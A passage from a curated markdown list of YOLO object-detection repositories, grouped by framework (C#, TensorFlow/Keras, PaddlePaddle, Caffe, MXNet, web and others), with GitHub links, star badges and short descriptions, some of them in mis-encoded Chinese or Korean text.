- [Soju06/yolov5-annotation-viewer](https://github.com/Soju06/yolov5-annotation-viewer) <img src="https://img.shields.io/github/stars/Soju06/yolov5-annotation-viewer?style=social"/> : yolov5 annotation viewer.
- [developer-ken/YoloPredictorMLDotNet](https://github.com/developer-ken/YoloPredictorMLDotNet) <img src="https://img.shields.io/github/stars/developer-ken/YoloPredictorMLDotNet?style=social"/> : YoloPredictorMLDotNet.
- [LionelC-Kyo/CSharp_YoloV5_Torch](https://github.com/LionelC-Kyo/CSharp_YoloV5_Torch) <img src="https://img.shields.io/github/stars/LionelC-Kyo/CSharp_YoloV5_Torch?style=social"/> : Run Yolo V5 in C# By Torch.
- [wanglvhang/OnnxYoloDemo](https://github.com/wanglvhang/OnnxYoloDemo) <img src="https://img.shields.io/github/stars/wanglvhang/OnnxYoloDemo?style=social"/> : demo of using c# to run yolo onnx model with onnx runtime, and contains a windows capture tool to get bitmap from windows desktop and window.
- [BobLd/YOLOv3MLNet](https://github.com/BobLd/YOLOv3MLNet) <img src="https://img.shields.io/github/stars/BobLd/YOLOv3MLNet?style=social"/> : Use the YOLO v3 (ONNX) model for object detection in C# using ML.Net.
- [zgabi/Yolo.Net](https://github.com/zgabi/Yolo.Net) <img src="https://img.shields.io/github/stars/zgabi/Yolo.Net?style=social"/> : zgabi/Yolo.Net
- [aliardan/RoadMarkingDetection](https://github.com/aliardan/RoadMarkingDetection) <img src="https://img.shields.io/github/stars/aliardan/RoadMarkingDetection?style=social"/> : Road markings detection using yolov5 model based on ONNX.
- [TimothyMeadows/Yolo5.NetCore](https://github.com/TimothyMeadows/Yolo5.NetCore) <img src="https://img.shields.io/github/stars/TimothyMeadows/Yolo5.NetCore?style=social"/> : You Only Look Once (v5) for .NET Core LTS.
- [AD-HO/YOLOv5-ML.NET](https://github.com/AD-HO/YOLOv5-ML.NET) <img src="https://img.shields.io/github/stars/AD-HO/YOLOv5-ML.NET?style=social"/> : Inferencing Yolov5 ONNX model using ML.NET and ONNX Runtime.
- [ToxicSkill/YOLOV7-Webcam-inference](https://github.com/ToxicSkill/YOLOV7-Webcam-inference) <img src="https://img.shields.io/github/stars/ToxicSkill/YOLOV7-Webcam-inference?style=social"/> : Simple WPF program for webcam inference with yoloV7 models.
- [aliardan/RoadMarkingDetection](https://github.com/aliardan/RoadMarkingDetection) <img src="https://img.shields.io/github/stars/aliardan/RoadMarkingDetection?style=social"/> : Road markings detection using yolov5 model based on ONNX.
- [rabbitsun2/csharp_and_microsoft_ml_and_yolo_v5_sample](https://github.com/rabbitsun2/csharp_and_microsoft_ml_and_yolo_v5_sample) <img src="https://img.shields.io/github/stars/rabbitsun2/csharp_and_microsoft_ml_and_yolo_v5_sample?style=social"/> : C#, Microsoft ML, Yolo v5, Microsoft ML.DNN, OpenCVSharp4 ์ฐ๊ณ ํ๋ก์ ํธ.
- [hsysfan/YOLOv5-Seg-OnnxRuntime](https://github.com/hsysfan/YOLOv5-Seg-OnnxRuntime) <img src="https://img.shields.io/github/stars/hsysfan/YOLOv5-Seg-OnnxRuntime?style=social"/> : YOLOv5 Segmenation Implementation in C# and OnnxRuntime.
- [dme-compunet/YOLOv8](https://github.com/dme-compunet/YOLOv8) <img src="https://img.shields.io/github/stars/dme-compunet/YOLOv8?style=social"/> : Use YOLOv8 in real-time, for object detection, instance segmentation, pose estimation and image classification, via ONNX Runtime.
- ### Tensorflow and Keras Implementation
- [YunYang1994/tensorflow-yolov3](https://github.com/YunYang1994/tensorflow-yolov3) <img src="https://img.shields.io/github/stars/YunYang1994/tensorflow-yolov3?style=social"/> : ๐ฅ TensorFlow Code for technical report: "YOLOv3: An Incremental Improvement".
- [zzh8829/yolov3-tf2](https://github.com/zzh8829/yolov3-tf2) <img src="https://img.shields.io/github/stars/zzh8829/yolov3-tf2?style=social"/> : YoloV3 Implemented in Tensorflow 2.0.
- [hunglc007/tensorflow-yolov4-tflite](https://github.com/hunglc007/tensorflow-yolov4-tflite) <img src="https://img.shields.io/github/stars/hunglc007/tensorflow-yolov4-tflite?style=social"/> : YOLOv4, YOLOv4-tiny, YOLOv3, YOLOv3-tiny Implemented in Tensorflow 2.0, Android. Convert YOLO v4 .weights tensorflow, tensorrt and tflite.
- [gliese581gg/YOLO_tensorflow](https://github.com/gliese581gg/YOLO_tensorflow) <img src="https://img.shields.io/github/stars/gliese581gg/YOLO_tensorflow?style=social"/> : tensorflow implementation of 'YOLO : Real-Time Object Detection'.
- [llSourcell/YOLO_Object_Detection](https://github.com/llSourcell/YOLO_Object_Detection) <img src="https://img.shields.io/github/stars/llSourcell/YOLO_Object_Detection?style=social"/> : This is the code for "YOLO Object Detection" by Siraj Raval on Youtube.
- [wizyoung/YOLOv3_TensorFlow](https://github.com/wizyoung/YOLOv3_TensorFlow) <img src="https://img.shields.io/github/stars/wizyoung/YOLOv3_TensorFlow?style=social"/> : Complete YOLO v3 TensorFlow implementation. Support training on your own dataset.
- [theAIGuysCode/yolov4-deepsort](https://github.com/theAIGuysCode/yolov4-deepsort) <img src="https://img.shields.io/github/stars/theAIGuysCode/yolov4-deepsort?style=social"/> : Object tracking implemented with YOLOv4, DeepSort, and TensorFlow.
- [mystic123/tensorflow-yolo-v3](https://github.com/mystic123/tensorflow-yolo-v3) <img src="https://img.shields.io/github/stars/mystic123/tensorflow-yolo-v3?style=social"/> : Implementation of YOLO v3 object detector in Tensorflow (TF-Slim).
- [hizhangp/yolo_tensorflow](https://github.com/hizhangp/yolo_tensorflow) <img src="https://img.shields.io/github/stars/hizhangp/yolo_tensorflow?style=social"/> : Tensorflow implementation of YOLO, including training and test phase.
- [nilboy/tensorflow-yolo](https://github.com/nilboy/tensorflow-yolo) <img src="https://img.shields.io/github/stars/nilboy/tensorflow-yolo?style=social"/> : tensorflow implementation of 'YOLO : Real-Time Object Detection'(train and test).
- [qqwweee/keras-yolo3](https://github.com/qqwweee/keras-yolo3) <img src="https://img.shields.io/github/stars/qqwweee/keras-yolo3?style=social"/> : A Keras implementation of YOLOv3 (Tensorflow backend).
- [allanzelener/YAD2K](https://github.com/allanzelener/YAD2K) <img src="https://img.shields.io/github/stars/allanzelener/YAD2K?style=social"/> : YAD2K: Yet Another Darknet 2 Keras.
- [experiencor/keras-yolo2](https://github.com/experiencor/keras-yolo2) <img src="https://img.shields.io/github/stars/experiencor/keras-yolo2?style=social"/> : YOLOv2 in Keras and Applications.
- [experiencor/keras-yolo3](https://github.com/experiencor/keras-yolo3) <img src="https://img.shields.io/github/stars/experiencor/keras-yolo3?style=social"/> : Training and Detecting Objects with YOLO3.
- [SpikeKing/keras-yolo3-detection](https://github.com/SpikeKing/keras-yolo3-detection) <img src="https://img.shields.io/github/stars/SpikeKing/keras-yolo3-detection?style=social"/> : YOLO v3 ็ฉไฝๆฃๆต็ฎๆณใ
- [xiaochus/YOLOv3](https://github.com/xiaochus/YOLOv3) <img src="https://img.shields.io/github/stars/xiaochus/YOLOv3?style=social"/> : Keras implementation of yolo v3 object detection.
- [bubbliiiing/yolo3-keras](https://github.com/bubbliiiing/yolo3-keras) <img src="https://img.shields.io/github/stars/bubbliiiing/yolo3-keras?style=social"/> : ่ฟๆฏไธไธชyolo3-keras็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov4-keras](https://github.com/bubbliiiing/yolov4-keras) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov4-keras?style=social"/> : ่ฟๆฏไธไธชYoloV4-keras็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov4-tf2](https://github.com/bubbliiiing/yolov4-tf2) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov4-tf2?style=social"/> : ่ฟๆฏไธไธชyolo4-tf2๏ผtensorflow2๏ผ็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [bubbliiiing/yolov4-tiny-tf2](https://github.com/bubbliiiing/yolov4-tiny-tf2) <img src="https://img.shields.io/github/stars/bubbliiiing/yolov4-tiny-tf2?style=social"/> : ่ฟๆฏไธไธชYoloV4-tiny-tf2็ๆบ็ ๏ผๅฏไปฅ็จไบ่ฎญ็ป่ชๅทฑ็ๆจกๅใ
- [pythonlessons/TensorFlow-2.x-YOLOv3](https://github.com/pythonlessons/TensorFlow-2.x-YOLOv3) <img src="https://img.shields.io/github/stars/pythonlessons/TensorFlow-2.x-YOLOv3?style=social"/> : YOLOv3 implementation in TensorFlow 2.3.1.
- [miemie2013/Keras-YOLOv4](https://github.com/miemie2013/Keras-YOLOv4) <img src="https://img.shields.io/github/stars/miemie2013/Keras-YOLOv4?style=social"/> : PPYOLO AND YOLOv4.
- [Ma-Dan/keras-yolo4](https://github.com/Ma-Dan/keras-yolo4) <img src="https://img.shields.io/github/stars/Ma-Dan/keras-yolo4?style=social"/> : A Keras implementation of YOLOv4 (Tensorflow backend).
- [miranthajayatilake/YOLOw-Keras](https://github.com/miranthajayatilake/YOLOw-Keras) <img src="https://img.shields.io/github/stars/miranthajayatilake/YOLOw-Keras?style=social"/> : YOLOv2 Object Detection w/ Keras (in just 20 lines of code).
- [maiminh1996/YOLOv3-tensorflow](https://github.com/maiminh1996/YOLOv3-tensorflow) <img src="https://img.shields.io/github/stars/maiminh1996/YOLOv3-tensorflow?style=social"/> : Re-implement YOLOv3 with TensorFlow.
- [Stick-To/Object-Detection-Tensorflow](https://github.com/Stick-To/Object-Detection-Tensorflow) <img src="https://img.shields.io/github/stars/Stick-To/Object-Detection-Tensorflow?style=social"/> : Object Detection API Tensorflow.
- [avBuffer/Yolov5_tf](https://github.com/avBuffer/Yolov5_tf) <img src="https://img.shields.io/github/stars/avBuffer/Yolov5_tf?style=social"/> : Yolov5/Yolov4/ Yolov3/ Yolo_tiny in tensorflow.
- [ruiminshen/yolo-tf](https://github.com/ruiminshen/yolo-tf) <img src="https://img.shields.io/github/stars/ruiminshen/yolo-tf?style=social"/> : TensorFlow implementation of the YOLO (You Only Look Once).
- [xiao9616/yolo4_tensorflow2](https://github.com/xiao9616/yolo4_tensorflow2) <img src="https://img.shields.io/github/stars/xiao9616/yolo4_tensorflow2?style=social"/> : yolo 4th edition implemented by tensorflow2.0.
- [sicara/tf2-yolov4](https://github.com/sicara/tf2-yolov4) <img src="https://img.shields.io/github/stars/sicara/tf2-yolov4?style=social"/> : A TensorFlow 2.0 implementation of YOLOv4: Optimal Speed and Accuracy of Object Detection.
- [LongxingTan/Yolov5](https://github.com/LongxingTan/Yolov5) <img src="https://img.shields.io/github/stars/LongxingTan/Yolov5?style=social"/> : Efficient implementation of YOLOV5 in TensorFlow2.
- [geekjr/quickai](https://github.com/geekjr/quickai) <img src="https://img.shields.io/github/stars/geekjr/quickai?style=social"/> : QuickAI is a Python library that makes it extremely easy to experiment with state-of-the-art Machine Learning models.
- [CV_Lab/yolov5_rt_tfjs](https://gitee.com/CV_Lab/yolov5_rt_tfjs) : ๐ ๅบไบTensorFlow.js็YOLOv5ๅฎๆถ็ฎๆ ๆฃๆต้กน็ฎใ
- [Burf/TFDetection](https://github.com/Burf/TFDetection) <img src="https://img.shields.io/github/stars/Burf/TFDetection?style=social"/> : A Detection Toolbox for Tensorflow2.
- [taipingeric/yolo-v4-tf.keras](https://github.com/taipingeric/yolo-v4-tf.keras) <img src="https://img.shields.io/github/stars/taipingeric/yolo-v4-tf.keras?style=social"/> : A simple tf.keras implementation of YOLO v4.
- [david8862/keras-YOLOv3-model-set](https://github.com/david8862/keras-YOLOv3-model-set) <img src="https://img.shields.io/github/stars/david8862/keras-YOLOv3-model-set?style=social"/> : end-to-end YOLOv4/v3/v2 object detection pipeline, implemented on tf.keras with different technologies.
- ### PaddlePaddle Implementation
- [PaddlePaddle/PaddleDetection](https://github.com/PaddlePaddle/PaddleDetection) <img src="https://img.shields.io/github/stars/PaddlePaddle/PaddleDetection?style=social"/> : Object Detection toolkit based on PaddlePaddle. "PP-YOLO: An Effective and Efficient Implementation of Object Detector". (**[arXiv 2020](https://arxiv.org/abs/2007.12099)**)
- [nemonameless/PaddleDetection_YOLOv5](https://github.com/nemonameless/PaddleDetection_YOLOv5) <img src="https://img.shields.io/github/stars/nemonameless/PaddleDetection_YOLOv5?style=social"/> : YOLOv5 of PaddleDetection, Paddle implementation of YOLOv5.
- [nemonameless/PaddleDetection_YOLOX](https://github.com/nemonameless/PaddleDetection_YOLOX) <img src="https://img.shields.io/github/stars/nemonameless/PaddleDetection_YOLOX?style=social"/> : Paddle YOLOX, 51.8% on COCO val by YOLOX-x, 44.6% on YOLOX-ConvNeXt-s.
- [nemonameless/PaddleDetection_YOLOset](https://github.com/nemonameless/PaddleDetection_YOLOset) <img src="https://img.shields.io/github/stars/nemonameless/PaddleDetection_YOLOset?style=social"/> : Paddle YOLO set: YOLOv3, PPYOLO, PPYOLOE, YOLOX, YOLOv5, YOLOv7 and so on.
- [miemie2013/Paddle-YOLOv4](https://github.com/miemie2013/Paddle-YOLOv4) <img src="https://img.shields.io/github/stars/miemie2013/Paddle-YOLOv4?style=social"/> : Paddle-YOLOv4.
- [Sharpiless/PaddleDetection-Yolov5](https://github.com/Sharpiless/PaddleDetection-Yolov5) <img src="https://img.shields.io/github/stars/Sharpiless/PaddleDetection-Yolov5?style=social"/> : ๅบไบPaddlepaddleๅค็ฐyolov5๏ผๆฏๆPaddleDetectionๆฅๅฃใ
- [Nioolek/PPYOLOE_pytorch](https://github.com/Nioolek/PPYOLOE_pytorch) <img src="https://img.shields.io/github/stars/Nioolek/PPYOLOE_pytorch?style=social"/> : An unofficial implementation of Pytorch version PP-YOLOE,based on Megvii YOLOX training code.
- ### Caffe Implementation
- [ChenYingpeng/caffe-yolov3](https://github.com/ChenYingpeng/caffe-yolov3) <img src="https://img.shields.io/github/stars/ChenYingpeng/caffe-yolov3?style=social"/> : A real-time object detection framework of Yolov3/v4 based on caffe.
- [ChenYingpeng/darknet2caffe](https://github.com/ChenYingpeng/darknet2caffe) <img src="https://img.shields.io/github/stars/ChenYingpeng/darknet2caffe?style=social"/> : Convert darknet weights to caffemodel.
- [eric612/Caffe-YOLOv3-Windows](https://github.com/eric612/Caffe-YOLOv3-Windows) <img src="https://img.shields.io/github/stars/eric612/Caffe-YOLOv3-Windows?style=social"/> : A windows caffe implementation of YOLO detection network.
- [Harick1/caffe-yolo](https://github.com/Harick1/caffe-yolo) <img src="https://img.shields.io/github/stars/Harick1/caffe-yolo?style=social"/> : Caffe for YOLO.
- [choasup/caffe-yolo9000](https://github.com/choasup/caffe-yolo9000) <img src="https://img.shields.io/github/stars/choasup/caffe-yolo9000?style=social"/> : Caffe for YOLOv2 & YOLO9000.
- [gklz1982/caffe-yolov2](https://github.com/gklz1982/caffe-yolov2) <img src="https://img.shields.io/github/stars/gklz1982/caffe-yolov2?style=social"/> : caffe-yolov2.
- ### MXNet Implementation
- [Gluon CV Toolkit](https://github.com/dmlc/gluon-cv) <img src="https://img.shields.io/github/stars/dmlc/gluon-cv?style=social"/> : GluonCV provides implementations of the state-of-the-art (SOTA) deep learning models in computer vision.
- [zhreshold/mxnet-yolo](https://github.com/zhreshold/mxnet-yolo) <img src="https://img.shields.io/github/stars/zhreshold/mxnet-yolo?style=social"/> : YOLO: You only look once real-time object detector.
- ### Web Implementation
- [ModelDepot/tfjs-yolo-tiny](https://github.com/ModelDepot/tfjs-yolo-tiny) <img src="https://img.shields.io/github/stars/ModelDepot/tfjs-yolo-tiny?style=social"/> : In-Browser Object Detection using Tiny YOLO on Tensorflow.js.
- [justadudewhohacks/tfjs-tiny-yolov2](https://github.com/justadudewhohacks/tfjs-tiny-yolov2) <img src="https://img.shields.io/github/stars/justadudewhohacks/tfjs-tiny-yolov2?style=social"/> : Tiny YOLO v2 object detection with tensorflow.js.
- [reu2018DL/YOLO-LITE](https://github.com/reu2018DL/YOLO-LITE) <img src="https://img.shields.io/github/stars/reu2018DL/YOLO-LITE?style=social"/> : YOLO-LITE is a web implementation of YOLOv2-tiny.
- [mobimeo/node-yolo](https://github.com/mobimeo/node-yolo) <img src="https://img.shields.io/github/stars/mobimeo/node-yolo?style=social"/> : Node bindings for YOLO/Darknet image recognition library.
- [Sharpiless/Yolov5-Flask-VUE](https://github.com/Sharpiless/Yolov5-Flask-VUE) <img src="https://img.shields.io/github/stars/Sharpiless/Yolov5-Flask-VUE?style=social"/> : ๅบไบFlaskๅผๅๅ็ซฏใVUEๅผๅๅ็ซฏๆกๆถ๏ผๅจWEB็ซฏ้จ็ฝฒYOLOv5็ฎๆ ๆฃๆตๆจกๅใ
- [shaqian/tfjs-yolo](https://github.com/shaqian/tfjs-yolo) <img src="https://img.shields.io/github/stars/shaqian/tfjs-yolo?style=social"/> : YOLO v3 and Tiny YOLO v1, v2, v3 with Tensorflow.js.
- [zqingr/tfjs-yolov3](https://github.com/zqingr/tfjs-yolov3) <img src="https://img.shields.io/github/stars/zqingr/tfjs-yolov3?style=social"/> : A Tensorflow js implementation of YOLOv3 and YOLOv3-tiny.
- [bennetthardwick/darknet.js](https://github.com/bennetthardwick/darknet.js) <img src="https://img.shields.io/github/stars/bennetthardwick/darknet.js?style=social"/> : A NodeJS wrapper of pjreddie's darknet / yolo.
- [nihui/ncnn-webassembly-yolov5](https://github.com/nihui/ncnn-webassembly-yolov5) <img src="https://img.shields.io/github/stars/nihui/ncnn-webassembly-yolov5?style=social"/> : Deploy YOLOv5 in your web browser with ncnn and webassembly.
- [muhk01/Yolov5-on-Flask](https://github.com/muhk01/Yolov5-on-Flask) <img src="https://img.shields.io/github/stars/muhk01/Yolov5-on-Flask?style=social"/> : Running YOLOv5 through web browser using Flask microframework.
- [tcyfree/yolov5](https://github.com/tcyfree/yolov5) <img src="https://img.shields.io/github/stars/tcyfree/yolov5?style=social"/> : ๅบไบFlaskๅผๅๅ็ซฏใVUEๅผๅๅ็ซฏๆกๆถ๏ผๅจWEB็ซฏ้จ็ฝฒYOLOv5็ฎๆ ๆฃๆตๆจกๅใ
- [siffyy/YOLOv5-Web-App-for-Vehicle-Detection](https://github.com/siffyy/YOLOv5-Web-App-for-Vehicle-Detection) <img src="https://img.shields.io/github/stars/siffyy/YOLOv5-Web-App-for-Vehicle-Detection?style=social"/> : Repo for Web Application for Vehicle detection from Satellite Imagery using YOLOv5 model.
- [Devmawi/BlazorObjectDetection-Sample](https://github.com/Devmawi/BlazorObjectDetection-Sample) <img src="https://img.shields.io/github/stars/Devmawi/BlazorObjectDetection-Sample?style=social"/> : A sample for demonstrating online execution of an onnx model by a Blazor app.
- [Hyuto/yolov5-onnxruntime-web](https://github.com/Hyuto/yolov5-onnxruntime-web) <img src="https://img.shields.io/github/stars/Hyuto/yolov5-onnxruntime-web?style=social"/> : YOLOv5 right in your browser with onnxruntime-web.
- ### Others
- [jinfagang/yolov7_d2](https://github.com/jinfagang/yolov7_d2) <img src="https://img.shields.io/github/stars/jinfagang/yolov7_d2?style=social"/> : ๐ฅ๐ฅ๐ฅ๐ฅ (Earlier YOLOv7 not official one) YOLO with Transformers and Instance Segmentation, with TensorRT acceleration! ๐ฅ๐ฅ๐ฅ
- [yang-0201/YOLOv6_pro](https://github.com/yang-0201/YOLOv6_pro) <img src="https://img.shields.io/github/stars/yang-0201/YOLOv6_pro?style=social"/> : Make it easier for yolov6 to change the network structure.
- [j-marple-dev/AYolov2](https://github.com/j-marple-dev/AYolov2) <img src="https://img.shields.io/github/stars/j-marple-dev/AYolov2?style=social"/> : The main goal of this repository is to rewrite the object detection pipeline with a better code structure for better portability and adaptability to apply new experimental methods. The object detection pipeline is based on [Ultralytics YOLOv5](https://github.com/ultralytics/yolov5).
- [fcakyon/yolov5-pip](https://github.com/fcakyon/yolov5-pip) <img src="https://img.shields.io/github/stars/fcakyon/yolov5-pip?style=social"/> : Packaged version of ultralytics/yolov5.
- [kadirnar/yolov6-pip](https://github.com/kadirnar/yolov6-pip) <img src="https://img.shields.io/github/stars/kadirnar/yolov6-pip?style=social"/> : Packaged version of yolov6 model.
- [kadirnar/yolov7-pip](https://github.com/kadirnar/yolov7-pip) <img src="https://img.shields.io/github/stars/kadirnar/yolov7-pip?style=social"/> : Packaged version of yolov7 model.
- [kadirnar/torchyolo](https://github.com/kadirnar/torchyolo) <img src="https://img.shields.io/github/stars/kadirnar/torchyolo?style=social"/> : PyTorch implementation of YOLOv5, YOLOv6, YOLOv7, YOLOX.
- [CvPytorch](https://github.com/shanglianlm0525/CvPytorch) <img src="https://img.shields.io/github/stars/shanglianlm0525/CvPytorch?style=social"/> : CvPytorch is an open source COMPUTER VISION toolbox based on PyTorch.
- [Holocron](https://github.com/frgfm/Holocron) <img src="https://img.shields.io/github/stars/frgfm/Holocron?style=social"/> : PyTorch implementations of recent Computer Vision tricks (ReXNet, RepVGG, Unet3p, YOLOv4, CIoU loss, AdaBelief, PolyLoss).
- [DL-Practise/YoloAll](https://github.com/DL-Practise/YoloAll) <img src="https://img.shields.io/github/stars/DL-Practise/YoloAll?style=social"/> : YoloAll is a collection of yolo all versions. you you use YoloAll to test yolov3/yolov5/yolox/yolo_fastest.
- [msnh2012/Msnhnet](https://github.com/msnh2012/Msnhnet) <img src="https://img.shields.io/github/stars/msnh2012/Msnhnet?style=social"/> : (yolov3 yolov4 yolov5 unet ...)A mini pytorch inference framework which inspired from darknet.
- [xinghanliuying/yolov5-trick](https://github.com/xinghanliuying/yolov5-trick) <img src="https://img.shields.io/github/stars/xinghanliuying/yolov5-trick?style=social"/> : ๅบไบyolov5็ๆน่ฟๅบใ
- [BMW-InnovationLab/BMW-YOLOv4-Training-Automation](https://github.com/BMW-InnovationLab/BMW-YOLOv4-Training-Automation) <img src="https://img.shields.io/github/stars/BMW-InnovationLab/BMW-YOLOv4-Training-Automation?style=social"/> : YOLOv4-v3 Training Automation API for Linux.
- [AntonMu/TrainYourOwnYOLO](https://github.com/AntonMu/TrainYourOwnYOLO) <img src="https://img.shields.io/github/stars/AntonMu/TrainYourOwnYOLO?style=social"/> : Train a state-of-the-art yolov3 object detector from scratch!
- [madhawav/YOLO3-4-Py](https://github.com/madhawav/YOLO3-4-Py) <img src="https://img.shields.io/github/stars/madhawav/YOLO3-4-Py?style=social"/> : A Python wrapper on Darknet. Compatible with YOLO V3.
- [theAIGuysCode/yolov4-custom-functions](https://github.com/theAIGuysCode/yolov4-custom-functions) <img src="https://img.shields.io/github/stars/theAIGuysCode/yolov4-custom-functions?style=social"/> : A Wide Range of Custom Functions for YOLOv4, YOLOv4-tiny, YOLOv3, and YOLOv3-tiny Implemented in TensorFlow, TFLite, and TensorRT.
- [tiquasar/FLAITER](https://github.com/tiquasar/FLAITER) <img src="https://img.shields.io/github/stars/tiquasar/FLAITER?style=social"/> : Machine Learning and AI Mobile Application.
- [kadirnar/Minimal-Yolov6](https://github.com/kadirnar/Minimal-Yolov6) <img src="https://img.shields.io/github/stars/kadirnar/Minimal-Yolov6?style=social"/> : Minimal-Yolov6.
- [DataXujing/YOLOv6](https://github.com/DataXujing/YOLOv6) <img src="https://img.shields.io/github/stars/DataXujing/YOLOv6?style=social"/> : ๐ ๐ ๆๆธๆ ็พๅข YOLOv6ๆจกๅ่ฎญ็ปๅTensorRT็ซฏๅฐ็ซฏ้จ็ฝฒๆนๆกๆ็จใ
- [DataXujing/YOLOv7](https://github.com/DataXujing/YOLOv7) <img src="https://img.shields.io/github/stars/DataXujing/YOLOv7?style=social"/> : ๐ฅ๐ฅ๐ฅ Official YOLOv7่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้ๅนถๅฎ็ฐ็ซฏๅฐ็ซฏ็TensorRTๆจกๅๅ ้ๆจๆญใ
- [DataXujing/YOLOv8](https://github.com/DataXujing/YOLOv8) <img src="https://img.shields.io/github/stars/DataXujing/YOLOv8?style=social"/> : ๐ฅ Official YOLOv8ๆจกๅ่ฎญ็ปๅ้จ็ฝฒใOfficial YOLOv8 ่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้ๅนถๅบไบNVIDIA TensorRTๅๅไธบๆ่
พ็ซฏๅฐ็ซฏๆจกๅๅ ้ไปฅๅๅฎๅๆๆบ็ซฏ้จ็ฝฒใ
- [DataXujing/YOLOv9](https://github.com/DataXujing/YOLOv9) <img src="https://img.shields.io/github/stars/DataXujing/YOLOv9?style=social"/> : ๐ฅ YOLOv9 paper่งฃๆ๏ผ่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้๏ผTensorRT็ซฏๅฐ็ซฏ้จ็ฝฒ๏ผ NCNNๅฎๅๆๆบ้จ็ฝฒใ
- [Code-keys/yolov5-darknet](https://github.com/Code-keys/yolov5-darknet) <img src="https://img.shields.io/github/stars/Code-keys/yolov5-darknet?style=social"/> : yolov5-darknet support yaml && cfg.
- [Code-keys/yolo-darknet](https://github.com/Code-keys/yolo-darknet) <img src="https://img.shields.io/github/stars/Code-keys/yolo-darknet?style=social"/> : YOLO-family complemented by darknet. yolov5 yolov7 et al ...
- [pooya-mohammadi/deep_utils](https://github.com/pooya-mohammadi/deep_utils) <img src="https://img.shields.io/github/stars/pooya-mohammadi/deep_utils?style=social"/> : A toolkit full of handy functions including most used models and utilities for deep-learning practitioners!
- [yl-jiang/YOLOSeries](https://github.com/yl-jiang/YOLOSeries) <img src="https://img.shields.io/github/stars/yl-jiang/YOLOSeries?style=social"/> : YOLO Series.
- [yjh0410/FreeYOLO](https://github.com/yjh0410/FreeYOLO) <img src="https://img.shields.io/github/stars/yjh0410/FreeYOLO?style=social"/> : FreeYOLO is inspired by many other excellent works, such as YOLOv7 and YOLOX.
- [open-yolo/yolov7](https://github.com/open-yolo/yolov7) <img src="https://img.shields.io/github/stars/open-yolo/yolov7?style=social"/> : Improved and packaged version of WongKinYiu/yolov7.
- [iloveai8086/YOLOC](https://github.com/iloveai8086/YOLOC) <img src="https://img.shields.io/github/stars/iloveai8086/YOLOC?style=social"/> : ๐YOLOC is Combining different modules to build an different Object detection model.
- [miemie2013/miemiedetection](https://github.com/miemie2013/miemiedetection) <img src="https://img.shields.io/github/stars/miemie2013/miemiedetection?style=social"/> : Pytorch and ncnn implementation of PPYOLOEใYOLOXใPPYOLOใPPYOLOv2ใSOLOv2 an so on.
- [RyanCCC/YOLOSeries](https://github.com/RyanCCC/YOLOSeries) <img src="https://img.shields.io/github/stars/RyanCCC/YOLOSeries?style=social"/> : YOLO็ฎๆณ็ๅฎ็ฐใ
- [HuKai97/YOLOX-Annotations](https://github.com/HuKai97/YOLOX-Annotations) <img src="https://img.shields.io/github/stars/HuKai97/YOLOX-Annotations?style=social"/> : ไธไธชYOLOX็ไธญๆๆณจ้็ๆฌ๏ผไพๅคงๅฎถๅ่ๅญฆไน ๏ผ
- [isLinXu/YOLOv8_Efficient](https://github.com/isLinXu/YOLOv8_Efficient) <img src="https://img.shields.io/github/stars/isLinXu/YOLOv8_Efficient?style=social"/> : ๐Simple and efficient use for Ultralytics yolov8๐
- [z1069614715/objectdetection_script](https://github.com/z1069614715/objectdetection_script) <img src="https://img.shields.io/github/stars/z1069614715/objectdetection_script?style=social"/> : ไธไบๅ
ณไบ็ฎๆ ๆฃๆต็่ๆฌ็ๆน่ฟๆ่ทฏไปฃ็ ใ
## Lighter and Deployment Frameworks
- ### Lightweight Backbones and FPN
#### ่ฝป้็บง้ชจๅนฒ็ฝ็ปๅ็นๅพ้ๅญๅก็ฝ็ป
- [murufeng/awesome_lightweight_networks](https://github.com/murufeng/awesome_lightweight_networks) <img src="https://img.shields.io/github/stars/murufeng/awesome_lightweight_networks?style=social"/> : The implementation of various lightweight networks by using PyTorch. such as๏ผMobileNetV2๏ผMobileNeXt๏ผGhostNet๏ผParNet๏ผMobileViTใAdderNet๏ผShuffleNetV1-V2๏ผLCNet๏ผConvNeXt๏ผetc. โญโญโญโญโญ
- [Bobo-y/flexible-yolov5](https://github.com/Bobo-y/flexible-yolov5) <img src="https://img.shields.io/github/stars/Bobo-y/flexible-yolov5?style=social"/> : More readable and flexible yolov5 with more backbone(resnet, shufflenet, moblienet, efficientnet, hrnet, swin-transformer) and (cbam๏ผdcn and so on), and tensorrt.
- [XingZeng307/YOLOv5_with_BiFPN](https://github.com/XingZeng307/YOLOv5_with_BiFPN) <img src="https://img.shields.io/github/stars/XingZeng307/YOLOv5_with_BiFPN?style=social"/> : This repo is mainly for replacing PANet with BiFPN in YOLOv5.
- [dog-qiuqiu/MobileNet-Yolo](https://github.com/dog-qiuqiu/MobileNet-Yolo) <img src="https://img.shields.io/github/stars/dog-qiuqiu/MobileNet-Yolo?style=social"/> : MobileNetV2-YoloV3-Nano: 0.5BFlops 3MB HUAWEI P40: 6ms/img, YoloFace-500k:0.1Bflops 420KB๐ฅ๐ฅ๐ฅ.
- [eric612/MobileNet-YOLO](https://github.com/eric612/MobileNet-YOLO) <img src="https://img.shields.io/github/stars/eric612/MobileNet-YOLO?style=social"/> : A caffe implementation of MobileNet-YOLO detection network.
- [eric612/Mobilenet-YOLO-Pytorch](https://github.com/eric612/Mobilenet-YOLO-Pytorch) <img src="https://img.shields.io/github/stars/eric612/Mobilenet-YOLO-Pytorch?style=social"/> : Include mobilenet series (v1,v2,v3...) and yolo series (yolov3,yolov4,...) .
- [Adamdad/keras-YOLOv3-mobilenet](https://github.com/Adamdad/keras-YOLOv3-mobilenet) <img src="https://img.shields.io/github/stars/Adamdad/keras-YOLOv3-mobilenet?style=social"/> : A Keras implementation of YOLOv3 (Tensorflow backend) inspired by [allanzelener/YAD2K](https://github.com/allanzelener/YAD2K).
